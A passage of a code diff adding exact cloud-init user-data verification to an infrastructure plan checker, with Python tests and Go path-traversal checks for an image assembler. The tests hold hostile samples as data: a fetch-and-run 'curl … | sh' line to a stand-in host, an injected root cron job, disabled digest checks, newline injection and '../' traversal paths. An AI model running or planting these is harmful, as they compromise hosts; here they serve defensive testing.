+ base = {"release_url": release["url"], "account_id": acct, "region": region,
+ "config_bucket": "%s-config-%s" % (prefix, acct)}
+ b64 = lambda t: base64.b64encode(t.encode()).decode()
+ if spec.get("kind") == "proxy":
+ name = spec.get("name")
+ if name not in ("a", "b"):
+ raise UserDataError("the pin names proxy %r" % name)
+ base.update({"proxy_sha256": release["proxy_sha256"], "proxy_name": name, "proxy_ip": ips[name],
+ "proxy_key_id": "proxy-" + name, "client_ca_cert_b64": b64(var["client_ca_cert"]),
+ "intercept_ca_cert_b64": b64(var["intercept_ca_cert"])})
+ return base
+ if spec.get("kind") != "controller":
+ raise UserDataError("the pin's kind %r is not controller or proxy" % spec.get("kind"))
+ ids = {"vm_vpc_id": r"vpc-[0-9a-f]{8,17}", "services_vpc_id": r"vpc-[0-9a-f]{8,17}",
+ "vm_subnet_id": r"subnet-[0-9a-f]{8,17}", "vm_security_group_id": r"sg-[0-9a-f]{8,17}",
+ "peering_id": r"pcx-[0-9a-f]{8,17}", "services_route_table_id": r"rtb-[0-9a-f]{8,17}",
+ "connector_arn": r"arn:aws:lambda:%s:%s:network-connector:[A-Za-z0-9-]+:[0-9]+" % (re.escape(region), acct),
+ "intercept_ca_pin": SHA_RE.pattern}
+ v = {k: need(k, pat) for k, pat in ids.items()}
+ inst = obj("instance_key", ["id", "public_key"])
+ keys = obj("proxy_public_keys", ["a", "b"])
+ if not (isinstance(inst["id"], str) and re.fullmatch(r"[A-Za-z0-9._-]{1,64}", inst["id"])):
+ raise UserDataError("instance_key.id %r is not a key ID" % inst["id"])
+ for k in (inst["public_key"], keys["a"], keys["b"]):
+ if not (isinstance(k, str) and PUB_RE.fullmatch(k)):
+ raise UserDataError("a public key %r is not an ed25519 key in base64" % k)
+ images = need("images", kind=dict)
+ image_list = []
+ for d in sorted(images):
+ i = images[d]
+ arn_re = r"arn:aws:lambda:%s:%s:microvm-image:[A-Za-z0-9-]+" % (re.escape(region), acct)
+ if (not re.fullmatch(r"sha256:[0-9a-f]{64}", d) or not isinstance(i, dict) or set(i) != {"image_arn", "version_arn"}
+ or not re.fullmatch(arn_re, str(i["image_arn"]))
+ or not re.fullmatch(re.escape(i["image_arn"]) + r":[0-9A-Za-z.]+", str(i["version_arn"]))):
+ raise UserDataError("image %r is not this account's digest, image and version" % d)
+ image_list.append({"digest": d, "arn": i["image_arn"], "versions": {"large": i["version_arn"][len(i["image_arn"]) + 1:]}})
+ services = need("egress_services", kind=dict)
+ for k, svc in services.items():
+ if (not re.fullmatch(r"[a-z_]{1,32}", k) or not isinstance(svc, dict) or set(svc) != {"host", "port", "class"}
+ or svc["port"] != 443 or not isinstance(svc["host"], str) or not (svc["host"] == "" or HOST_RE.fullmatch(svc["host"]))
+ or not isinstance(svc["class"], str) or not re.fullmatch(r"[a-z_]{1,32}", svc["class"])):
+ raise UserDataError("egress service %r is not an exact host on 443 with a class" % k)
+ proxies = [ips["a"], ips["b"]]
+ base.update({
+ "controller_sha256": release["controller_sha256"], "litestream_asset": release["litestream_asset"],
+ "litestream_sha256": release["litestream_sha256"], "litestream_bucket": "%s-litestream-%s" % (prefix, acct),
+ "verify_keys_json": jsonencode([{"id": inst["id"], "role": "instance", "public_key": inst["public_key"]},
+ {"id": "proxy-a", "role": "proxy", "public_key": keys["a"]},
+ {"id": "proxy-b", "role": "proxy", "public_key": keys["b"]}]),
+ "images_json": jsonencode(image_list),
+ "egress_json": jsonencode([a for ip in proxies for a in (ip + ":8443", ip + ":8444")]),
+ "proxy_routes_json": jsonencode([ip + "/32" for ip in proxies]),
+ "vpc_id": v["vm_vpc_id"], "vm_subnet_id": v["vm_subnet_id"], "vm_security_group_id": v["vm_security_group_id"],
+ "connector_arn": v["connector_arn"], "sns_topic_arn": "arn:aws:sns:%s:%s:%s-alerts" % (region, acct, prefix),
+ "peering_id": v["peering_id"], "services_vpc_id": v["services_vpc_id"],
+ "services_route_table_id": v["services_route_table_id"],
+ "egress_manifest_b64": b64(jsonencode({"services": services, "proxies": [ip + ":8443" for ip in proxies],
+ "proxy_boot": [ip + ":8444" for ip in proxies],
+ "proxy_ca_pin": v["intercept_ca_pin"]})),
+ "client_ca_cert_b64": b64(var["client_ca_cert"]),
+ })
+ return base
+
+
+def render_cloud_init(p, spec):
+ """The user data spec's template renders to, or UserDataError."""
+ rel = spec.get("template") or ""
+ path = os.path.normpath(os.path.join(p.hosted, rel))
+ if not rel.endswith("cloud-init.yaml.tmpl") or not path.startswith(os.path.join(p.hosted, "modules") + os.sep):
+ raise UserDataError("the pin's template %r is not a module's cloud-init template" % rel)
+ with open(path) as f:
+ return render_template(f.read(), user_data_values(p, spec))
+
+
+def check_cloud_init(p, value, unknown, spec):
+ if has_unknown(unknown) or value is MISSING or not isinstance(value, str):
+ return ["is unknown or not text; the host's user data must be the known rendering of its template"]
+ try:
+ want = render_cloud_init(p, spec)
+ except (UserDataError, OSError) as e:
+ return ["cannot be proven: %s" % e]
+ if value != want:
+ at = next((i for i, (a, b) in enumerate(zip(value, want)) if a != b), min(len(value), len(want)))
+ return ["is not the committed template rendered from the checked variables (first difference at byte %d: planned %r, want %r)"
+ % (at, value[max(0, at - 20):at + 40], want[max(0, at - 20):at + 40])]
+ return []
+
+
def check_pins(p, listed):
out = []
for address, spec in sorted(listed.items()):
@@ -1101,6 +1289,8 @@ def check_pin(p, listed, address, prefix, cres, rc, path, pin):
unknown = walk_unknown(change.get("after_unknown") or {}, path)
expr = walk_expression(cres.get("expressions") or {}, path)
refs = (expr or {}).get("references") if isinstance(expr, dict) else None
+ if "cloud_init" in pin:
+ return check_cloud_init(p, value, unknown, pin["cloud_init"])
try:
pin = p.substitute(pin)
except KeyError as e:
diff --git a/infra/hosted/scripts/plan_check_test.py b/infra/hosted/scripts/plan_check_test.py
index d2b7ff4e..aff74d0d 100644
--- a/infra/hosted/scripts/plan_check_test.py
+++ b/infra/hosted/scripts/plan_check_test.py
@@ -726,6 +726,93 @@ class Alarms(Base):
self.assertRefused(check(p, "services", hosted=src.hosted), "status_proxy_a", "dimensions")
+class UserData(Base):
+ """The hosts' user data is the committed cloud-init template, rendered by
+ plan-check from checked variables, exactly (slice 2 Task 29 review 2)."""
+ CTL = "module.controller.aws_instance.controller"
+ PA, PB = "module.proxy.aws_instance.proxy_a", "module.proxy.aws_instance.proxy_b"
+
+ def user_data(self, plan, address):
+ return change(plan, address)["change"]["after"]["user_data"]
+
+ def set_user_data(self, plan, address, text):
+ change(plan, address)["change"]["after"]["user_data"] = text
+
+ def test_genuine_user_data_proven(self):
+ self.assertEqual(check(copy.deepcopy(SERVICES), "services"), [])
+ self.assertEqual(check(genuine("dev-services"), "dev-services", account=DEV), [])
+ for phase in ("services", "dev-services"):
+ for address in (self.CTL, self.PA, self.PB):
+ pins = PHASES["phases"][phase]["resources"][address]["pins"]
+ self.assertIn("cloud_init", pins["user_data"], "%s %s user_data is not proven" % (phase, address))
+ self.assertEqual(pins.get("user_data_base64"), {"unset": True}, "%s %s user_data_base64 is not refused" % (phase, address))
+
+ def test_extra_runcmd_refused(self):
+ p = copy.deepcopy(SERVICES)
+ self.set_user_data(p, self.CTL, self.user_data(p, self.CTL) + " - [sh, -c, 'curl -s https://evil.example | sh']\n")
+ self.assertRefused(check(p, "services"), self.CTL, "user_data", "not the committed template")
+
+ def test_extra_write_files_entry_refused(self):
+ p = copy.deepcopy(SERVICES)
+ ud = self.user_data(p, self.PA).replace("write_files:\n", "write_files:\n - path: /etc/cron.d/x\n content: |\n * * * * * root sh /tmp/x\n", 1)
+ self.set_user_data(p, self.PA, ud)
+ self.assertRefused(check(p, "services"), self.PA, "user_data", "not the committed template")
+
+ def test_digest_enforcement_altered_refused(self):
+ p = copy.deepcopy(SERVICES)
+ ud = self.user_data(p, self.CTL)
+ self.assertIn("sha256sum --check --strict --status", ud)
+ self.set_user_data(p, self.CTL, ud.replace("sha256sum --check --strict --status", "true", 1))
+ self.assertRefused(check(p, "services"), self.CTL, "not the committed template")
+
+ def test_proxies_swapped_refused(self):
+ p = copy.deepcopy(SERVICES)
+ a, b = self.user_data(p, self.PA), self.user_data(p, self.PB)
+ self.set_user_data(p, self.PA, b)
+ self.set_user_data(p, self.PB, a)
+ self.assertRefused(check(p, "services"), self.PA, self.PB)
+
+ def test_structure_injected_through_a_variable_refused(self):
+ # The plan agrees with itself (user data rendered with the injected
+ # value), but the value fails its pattern, so nothing is rendered.
+ for var, edit in (("release.url", lambda v: v["release"].update(url=v["release"]["url"] + "\nruncmd:\n - [sh]")),
+ ("egress service", lambda v: v["egress_services"]["instance"].update(host="a.example.com\n - [sh]")),
+ ("vm_subnet_id", lambda v: v.update(vm_subnet_id="subnet-0f1e2d3c\",\"x\":\"y"))):
+ p = copy.deepcopy(SERVICES)
+ values = {k: v["value"] for k, v in p["variables"].items()}
+ edit(values)
+ for k in values:
+ p["variables"][k]["value"] = values[k]
+ plan = pc.Plan(p, HOSTED, PHASES["phases"]["services"]["root"])
+ plan.account, plan.region, plan.hosted = ACCOUNT, REGION, HOSTED
+ spec = PHASES["phases"]["services"]["resources"][self.CTL]["pins"]["user_data"]["cloud_init"]
+ with self.assertRaises(pc.UserDataError, msg=var):
+ pc.render_cloud_init(plan, spec)
+ # The plan's own user data is set to a naive rendering anyway.
+ self.set_user_data(p, self.CTL, self.user_data(SERVICES, self.CTL).replace(
+ "RELEASE_URL=" + SERVICES["variables"]["release"]["value"]["url"], "RELEASE_URL=" + values["release"]["url"]))
+ self.assertRefused(check(p, "services"), self.CTL, "cannot be proven")
+
+ def test_template_outside_the_modules_refused(self):
+ # A phases.json pin naming another file cannot make plan-check
+ # render something else.
+ phases = copy.deepcopy(PHASES)
+ spec = phases["phases"]["services"]["resources"][self.CTL]["pins"]["user_data"]["cloud_init"]
+ spec["template"] = "scripts/testdata/../../modules/controller/../../scripts/plan-check.py"
+ refusals = pc.check(copy.deepcopy(SERVICES), "services", ACCOUNT, REGION, phases, HOSTED)
+ self.assertRefused(refusals, self.CTL, "not a module's cloud-init template")
+
+ def test_user_data_base64_refused(self):
+ p = copy.deepcopy(SERVICES)
+ set_planned(p, self.PB, "user_data_base64", "I2Nsb3VkLWNvbmZpZwo=", {"constant_value": "I2Nsb3VkLWNvbmZpZwo="})
+ self.assertRefused(check(p, "services"), self.PB, "user_data_base64")
+
+ def test_unknown_user_data_refused(self):
+ p = copy.deepcopy(SERVICES)
+ set_unknown(p, self.CTL, "user_data", {"references": ["local.user_data"]})
+ self.assertRefused(check(p, "services"), self.CTL, "user_data", "unknown")
+
+
class Phases(unittest.TestCase):
"""phases.json is the account plan's list, address by address."""
diff --git a/internal/hostedimage/assemble.go b/internal/hostedimage/assemble.go
index 44038f01..8d6eabb6 100644
--- a/internal/hostedimage/assemble.go
+++ b/internal/hostedimage/assemble.go
@@ -158,6 +158,9 @@ func Assemble(ctx context.Context, r AssembleRequest) (m Manifest, err error) {
return Manifest{}, err
}
p := r.Pins
+ if err := p.check(); err != nil {
+ return Manifest{}, err
+ }
if p.Bubblewrap.SHA256 != r.Manifest.BubblewrapSHA256 || p.Codex.SHA256 != r.Manifest.CodexSHA256 {
return Manifest{}, errors.New("hostedimage: pins.json's bubblewrap or codex digest is not the manifest's")
}
@@ -179,6 +182,9 @@ func Assemble(ctx context.Context, r AssembleRequest) (m Manifest, err error) {
}
place := func(input string, s Source) error {
dest := filepath.Join(inputs, filepath.FromSlash(input))
+ if rel, err := filepath.Rel(inputs, dest); err != nil || rel != filepath.FromSlash(input) || !filepath.IsLocal(rel) {
+ return fmt.Errorf("hostedimage: input %q is not a path inside the bundle", input)
+ }
var got string
var err error
if r.has(input) {
@@ -245,6 +251,29 @@ func Assemble(ctx context.Context, r AssembleRequest) (m Manifest, err error) {
return out, nil
}
+// check holds every pin to its form before anything is fetched or written:
+// each digest 64 lower-case hex digits, each package a distinct plain .rpm
+// file name (no path separator, no dot segment).
+func (p Pins) check() error {
+ for what, d := range map[string]string{"the Go toolchain": p.GoToolchain.SHA256, "bubblewrap": p.Bubblewrap.SHA256,
+ "codex": p.Codex.SHA256, "GitSHA256": p.GitSHA256} {
+ if !hexDigest.MatchString(d) {
+ return fmt.Errorf("hostedimage: pins.json: %s's digest %q is not 64 lower-case hex digits", what, d)
+ }
+ }
+ seen := map[string]bool{}
+ for _, k := range p.Packages {
+ if !rpmName.MatchString(k.Name) || strings.ContainsAny(k.Name, `/\`) || seen[k.Name] {
+ return fmt.Errorf("hostedimage: pins.json: package %q is not a distinct .rpm file name", k.Name)
+ }
+ seen[k.Name] = true
+ if !hexDigest.MatchString(k.SHA256) {
+ return fmt.Errorf("hostedimage: pins.json: package %s's digest %q is not 64 lower-case hex digits", k.Name, k.SHA256)
+ }
+ }
+ return nil
+}
+
// copyFile copies the regular file src to dst (mode 0644) and returns its
// SHA-256.
func copyFile(src, dst string) (string, error) {
diff --git a/internal/hostedimage/assemble_test.go b/internal/hostedimage/assemble_test.go
index df28a20d..9cd3d399 100644
--- a/internal/hostedimage/assemble_test.go
+++ b/internal/hostedimage/assemble_test.go
@@ -287,3 +287,41 @@ func TestOpenBundleRefusesStrangers(t *testing.T) {
}
}
}
+
+// TestAssembleRefusesBadPackagesBeforeFetching: a package name with a path
+// separator or a dot segment, a repeated name, or a digest that is not one
+// is refused before anything is downloaded or written, and no file appears
+// outside the bundle directory.
+func TestAssembleRefusesBadPackagesBeforeFetching(t *testing.T) {
+ t.Parallel()
+ for name, edit := range map[string]func(*Pins){
+ "climbing name": func(p *Pins) { p.Packages[0].Name = "../../../escaped.rpm" },
+ "separator": func(p *Pins) { p.Packages[0].Name = "sub/escaped.rpm" },
+ "dot segment": func(p *Pins) { p.Packages[0].Name = ".." },
+ "absolute": func(p *Pins) { p.Packages[0].Name = "/tmp/escaped.rpm" },
+ "repeated": func(p *Pins) { p.Packages = append(p.Packages, p.Packages[0]) },
+ "digest not one": func(p *Pins) { p.Packages[0].SHA256 = "../../x" },
+ "Go digest": func(p *Pins) { p.GoToolchain.SHA256 = strings.Repeat("Z", 64) },
+ } {
+ f := newAssembleFixture(t)
+ base := filepath.Dir(f.req.Out)
+ edit(&f.req.Pins)
+ for _, pk := range f.req.Pins.Packages {
+ f.served["/"+filepath.Base(pk.Name)] = []byte("escaped\n")
+ }
+ _, err := Assemble(context.Background(), f.req)
+ if err == nil {
+ t.Fatalf("%s: Assemble accepted it", name)
+ }
+ if n := f.requests.Load(); n != 0 {
+ t.Fatalf("%s: %d downloads before the refusal (%v)", name, n, err)
+ }
+ if _, err := os.Stat(f.req.Out); !os.IsNotExist(err) {
+ t.Fatalf("%s: the bundle directory was made", name)
+ }
+ entries, _ := os.ReadDir(base)
+ for _, e := range entries {
+ t.Fatalf("%s: %s was written beside the bundle directory", name, e.Name())
+ }
+ }
+}